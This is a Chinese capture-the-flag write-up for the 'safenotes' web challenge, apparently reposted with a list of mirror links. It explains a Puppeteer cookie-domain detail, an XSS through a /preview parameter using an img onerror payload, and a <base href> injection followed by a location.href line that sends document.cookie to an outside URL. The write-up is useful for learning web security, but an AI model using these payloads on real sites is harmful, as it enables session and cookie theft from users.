当前位置: 首页 > news >正文

N1 junior 2025 safenotes

这道题说实话挺简单的,不是什么猎奇抽象xssleak,可能是国内的比赛xss确实考的少吧,我比较喜欢打国际赛。

一开始ai跟我说这里有语法错误,然后我一顿看Puppeteer的源代码发现其实没错误。

    // 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)await browser.setCookie({name: 'flag',value: FLAG,domain: HOST,path: '/',httpOnly: false});

映射容器内node_modules的代码查看源代码的setCookie


  1. bot.js文件中,第19-26行的代码尝试在浏览器实例上调用setCookie方法:
// 尝试为浏览器设置cookie(注意:setCookie方法应在page对象上调用,这里可能有误)
await browser.setCookie({name: 'flag',value: FLAG,domain: HOST,path: '/',httpOnly: false
});
  1. 从puppeteer的源代码中可以看到,Browser类确实有一个setCookie方法,但它实际上是一个代理方法,会将调用转发到默认的浏览器上下文:
setCookie(...cookies) {return await this.defaultBrowserContext().setCookie(...cookies);
}

domain应该是完整的域名,而不是带端口的字符串,当携带端口时会发生什么?


Chromium 这一路实际会“吃掉端口”,因此看起来“确实被设置了”。

  • Puppeteer 这层不会校验域名是否含端口,而是原样转发到 CDP 的 Storage.setCookies(无返回 success/错误码,不会抛错):
async setCookie(...cookies) {return await this.defaultBrowserContext().setCookie(...cookies);
}
override async setCookie(...cookies: CookieData[]): Promise<void> {return await this.#connection.send('Storage.setCookies', {browserContextId: this.#id,cookies: cookies.map(cookie => ({...cookie,partitionKey: convertCookiesPartitionKeyFromPuppeteerToCdp(cookie.partitionKey),})),});
}
export interface SetCookiesRequest {cookies: Network.CookieParam[];browserContextId?: Browser.BrowserContextID;
}
  • 真正的“端口处理”发生在 Chromium 内核(CDP 后端)里:当 domain 带端口(如 localhost:3000)时,会被规范化为不带端口的主机名(例如 localhost),或作为“host-only”存储。由于 Storage.setCookies 无成功返回体,这个规范化是静默完成的,所以你看到“被设置”且无报错是预期表现。

如何快速验证规范化结果

  • 设完后读取上下文 cookies,看实际存储的 domain
const list = await browser.defaultBrowserContext().cookies();
console.log(list.find(c => c.name === 'flag'));
// 你会看到 domain 实际是 'localhost'(不含端口)

我当时想的是用ChromeDriver API,然后发现Puppeteer根本没api

然后就算主页面的地方,有个/preview可以绕

/preview?index=0&content=\x3cimg src=x onerror=alert(1)\x3e

    (function(){const el = document.getElementById('note-0');if (!el) return;const text = '\x3cimg src=x onerror=alert(1)\x3e';if (text.length > 50) {el.innerHTML = text.slice(0,50) + '...';} else {el.innerHTML = text;}})();

然后最幽默的一点是,我当时第一时间想的就是baseurl,然后deepseek瞎扯跟我说在div里影响不到外面,直接导致我完全偏离正确轨道疯狂尝试命名空间混淆突破div,研究几个小时没研究出来

到了晚上这题竟然还没解,私聊出题人跟我说比较接近了,然后我就试了一下baseurl,发现竟然能行。。。

然后就没难度了

<base href="https://url/">
location.href = 'https://url/?c=' + document.cookie;

真不能信ai…


文章转载自:

http://epOSnUUA.znhpg.cn
http://rpz85zG8.znhpg.cn
http://2FYtZndy.znhpg.cn
http://rZG0Fq1o.znhpg.cn
http://yFJsylyE.znhpg.cn
http://etdeDg9M.znhpg.cn
http://4cFtyF0G.znhpg.cn
http://HQzNqn2S.znhpg.cn
http://JX89GZNZ.znhpg.cn
http://hyCESnCR.znhpg.cn
http://Sj4M9NPs.znhpg.cn
http://UPgmmpvg.znhpg.cn
http://q5sS9ZQT.znhpg.cn
http://XahUPDUn.znhpg.cn
http://kOnyIHM5.znhpg.cn
http://Jp6Vyf0n.znhpg.cn
http://YUREFskP.znhpg.cn
http://KPJI9k2F.znhpg.cn
http://rb4SlJga.znhpg.cn
http://EibSyWmx.znhpg.cn
http://OTViIrTA.znhpg.cn
http://Wo8FIENU.znhpg.cn
http://Fc7zbEaW.znhpg.cn
http://QGs0jgfK.znhpg.cn
http://xgNBrGIS.znhpg.cn
http://xCIVsF7i.znhpg.cn
http://2SSwGSFJ.znhpg.cn
http://9QOzwMis.znhpg.cn
http://GhyLyPYe.znhpg.cn
http://ItbDJphq.znhpg.cn
http://www.dtcms.com/a/385146.html

相关文章:

  • 2025年09月15日Github流行趋势
  • 通过网络强化增强混合IT环境的安全
  • 【数据结构入门】排序算法(5):计数排序
  • 超大规模多模态交通数据集:320TB+海量数据资源,涵盖行车视频、无人机航拍、第一视角步行骑行与道路监控,助力自动驾驶与智慧交通算法突破
  • [数据结构——Lesson13.冒泡与选择排序]
  • tar-符号连接(软连接)
  • php学习 (第六天)
  • MTK Linux Charger驱动分析(二) - power_supply_core.c
  • 如何做好AI智能体
  • 邻接矩阵幂 A^m 的几何意义
  • PL3381T/PL3383T/PL3384T 12V非隔离降压型芯片(200/300/400mA)
  • 食品科技企业NotCo完成SAP系统升级 构建统一数字化平台
  • LinuxC++项目开发日志——高并发内存池(6-内存回收机制)
  • 数值计算2
  • 硬件 - oring多电源切换
  • RocketMQ-高性能消息中间件的原理
  • DevOps历程--GitLab安装与使用教程(Docker安装和编译安装两种方式)
  • 大屏可视化动图渲染
  • Claude Code生态、实战
  • 系统架构设计师备考第24天——需求工程
  • 逻辑回归模型:基于鸢尾花数据集的多分类任务全流程
  • 实战适配器模式
  • OpenLayers数据源集成 -- 章节十三:EsriJSON图层详解
  • RabbitMQ—运维篇
  • 一站式YOLO目标检测解决方案:训练、测试、推理与数据集转换全流程指南
  • lamp脚本部署
  • 前端构建工具有哪些?常用前端构建工具对比、前端构建工具推荐与最佳实践分析
  • Charles日志分析与流量监控技巧 高效排查接口与性能问题
  • ACM模式的输入部分——input().strip() 与 sys.stdin.readline() 的不同
  • ““.equals(studentID)